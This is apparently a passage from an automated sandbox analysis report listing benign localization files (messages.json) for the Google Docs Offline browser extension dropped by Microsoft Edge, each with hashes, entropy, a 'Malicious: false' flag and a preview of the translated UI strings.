Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
